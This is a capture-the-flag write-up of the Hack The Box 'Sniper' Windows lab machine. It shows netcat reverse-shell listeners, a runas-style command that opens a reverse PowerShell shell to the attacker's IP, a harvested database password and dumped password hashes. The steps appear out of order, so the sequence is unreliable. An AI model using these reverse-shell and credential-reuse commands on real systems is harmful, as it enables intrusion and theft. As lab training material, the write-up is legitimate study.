Sniper is a medium difficulty Windows machine which features a PHP server. The server hosts a file that is found vulnerable to local and remote file inclusion. Command execution is gained on the server in the context of NT AUTHORITY\iUSR via local inclusion of maliciously crafted PHP Session files. Exposed database credentials are used to gain access as the user Chris, who has the same password. Enumeration reveals that the administrator is reviewing CHM (Compiled HTML Help) files, which can be used the leak the administrators NetNTLM-v2 hash. This can be captured, cracked and used to get a reverse shell as administrator using a PowerShell credential object.
Personally, I couldn't download this program as it's available on Microsoft center to download so I will reach administrator admin with unintended path
Shell as SYSTEM
I found that iusr has SeImpersonatePrivilege which can be abused to escalate to SYSTEM account
I need PrintSpoofer.exe tool, So I will download it to the box and execute it to get a reverse shell as SYSTEM
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Sniper]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.151] 49711
Windows PowerShell running as user SNIPER$ on SNIPER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot\blog>
PS C:\inetpub\wwwroot> type user\db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
?>
PS C:\inetpub\wwwroot> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 872
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 6752
<snip>
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Sniper]
└─$ nmap -p3306 localhost
PORT STATE SERVICE
3306/tcp open mysql
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Sniper]
└─$ mysql -h 127.0.0.1 -u dbuser sniper -p'36mEAhz/B8xQ~2VM'
MySQL [sniper]>
MySQL [sniper]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| sniper |
+--------------------+
2 rows in set (0.391 sec)
MySQL [sniper]> use sniper;
Database changed
MySQL [sniper]> show tables;
+------------------+
| Tables_in_sniper |
+------------------+
| users |
+------------------+
1 row in set (0.166 sec)
MySQL [sniper]> select * from users;
+----+-----------+------------------+----------------------------------+---------------------+
| id | username | email | password | trn_date |
+----+-----------+------------------+----------------------------------+---------------------+
| 1 | superuser | admin@sniper.co | 6e573c8b25e9168e0c61895d821a3d57 | 2019-04-11 22:45:36 |
| 8 | hacker | hacker@gmail.com | 6c569aabbf7775ef8fc570e228c16b98 | 2024-07-11 05:31:48 |
+----+-----------+------------------+----------------------------------+---------------------+
PS C:\inetpub\wwwroot\blog>dir C:\Users\
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/9/2019 6:47 AM Administrator
d----- 4/11/2019 7:04 AM Chris
d-r--- 4/9/2019 6:47 AM Public
PS C:\Windows\Temp> .\r.exe Chris '36mEAhz/B8xQ~2VM' powershell.exe -r 10.10.16.3:8443
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Sniper]
└─$ rlwrap nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.151] 49738
PS C:\Windows\system32>
PS C:\Users\Chris> type Desktop\user.txt
44d27619bef1f819476fxxxxxxxxxxxxxxxxx
PS C:\Users\Chris> tree /F
Folder PATH listing
Volume serial number is AE98-73A8
C:.
3D Objects
Contacts
Desktop
user.txt
Documents
Downloads
instructions.chm
<snip>
PS C:\Windows\Temp> whoami
nt authority\iusr
PS C:\Windows\Temp> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
f65247f419e1087df1fxxxxxxxxxxxxx